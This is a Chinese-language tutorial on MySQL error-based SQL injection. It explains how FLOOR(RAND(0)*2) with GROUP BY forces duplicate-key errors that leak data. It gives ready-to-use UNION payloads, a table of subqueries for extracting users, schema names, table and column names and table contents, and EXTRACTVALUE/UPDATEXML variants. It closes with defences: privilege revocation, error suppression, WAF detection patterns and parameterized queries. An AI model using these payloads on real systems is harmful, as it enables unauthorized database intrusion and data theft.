報錯注入是 SQL 注入中最高級、最隱蔽、提取效率最高的一類技術。其核心利用 MySQL GROUP BY + RAND() + 聚合函數在特定條件下必然觸發 主鍵衝突報錯,將機密數據「夾帶」在錯誤信息中回顯。本文從數學原理推導到實戰載荷構造,徹底拆解這一經典攻擊向量。
RAND(固定種子) —— 產生確定性偽隨機序列。FLOOR(RAND(0)*2) —— 產生 0/1 交替序列(0,1,1,0,0,1,1,0...)。GROUP BY 以該表達式分組 —— 強制聚合過程中重複計算 RAND(),導致分組鍵衝突。RAND(0) 種子固定,序列確定:
第 1 次調用:0.155... → FLOOR(*2)=0 第 2 次:0.693... → 1 第 3 次:0.346... → 0 第 4 次:0.789... → 1 ...
GROUP BY FLOOR(RAND(0)*2) 執行流程:
information_schema.tables)每一行。FLOOR(RAND(0)*2) 作為分組鍵。COUNT(*))。關鍵點: 臨時表查找鍵時,再次計算 RAND(0)!因為 MySQL 不緩存非確定性函數值。
第 1 行:計算 0 → 插入鍵 0。
第 2 行:計算 1 → 插入鍵 1。
第 3 行:計算 0 → 查找鍵 0,**再次計算 RAND(0) 得 1** → 試圖插入鍵 1 → 主鍵衝突!
報錯信息:Duplicate entry '1' for key 'group_key' —— 這裡的 '1' 正是我們通過 CONCAT() 構造的秘密數據。
-- 通用模板 SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT 秘密數據), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a; -- 實戰載荷(UNION 注入點) ' UNION SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x7e, (SELECT USER()), 0x7e, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a --
| 目標 | 核心子查詢 | 說明 |
|---|---|---|
| 當前用戶 | (SELECT USER()) | 或 CURRENT_USER() |
| 當前數據庫 | (SELECT DATABASE()) | 或 SCHEMA() |
| 所有庫名 | (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) | 單次提取,避免 LIMIT 逐行 |
| 指定庫表名 | (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='db') | |
| 指定表列名 | (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='t') | |
| 數據內容 | (SELECT GROUP_CONCAT(col) FROM db.t) | 長數據分段 SUBSTRING 提取 |
SELECT ... FROM information_schema 權限(REVOKE SELECT ON information_schema.* FROM app_user;)。display_errors,統一友好報錯頁面,詳細日誌僅寫入文件/ELK。FLOOR\(RAND\(0\)\*2\)、GROUP BY.*RAND、EXTRACTVALUE、UPDATEXML 等。-- EXTRACTVALUE SELECT EXTRACTVALUE(1, CONCAT(0x7e, (SELECT USER()), 0x7e)); -- UPDATEXML SELECT UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1);
原理:構造非法 XPath 表達式,強制解析器報錯,錯誤信息包含注入數據。同樣需 information_schema 等系统表配合。
報錯注入利用的是 MySQL 優化器對非確定性函數在聚合過程中重複計算的「Bug 特性」。理解其數學本質,才能在代碼審計、WAF 規則編寫、權限最小化中精準佈防。**參數化查詢永遠是第一道、最後一道防線。**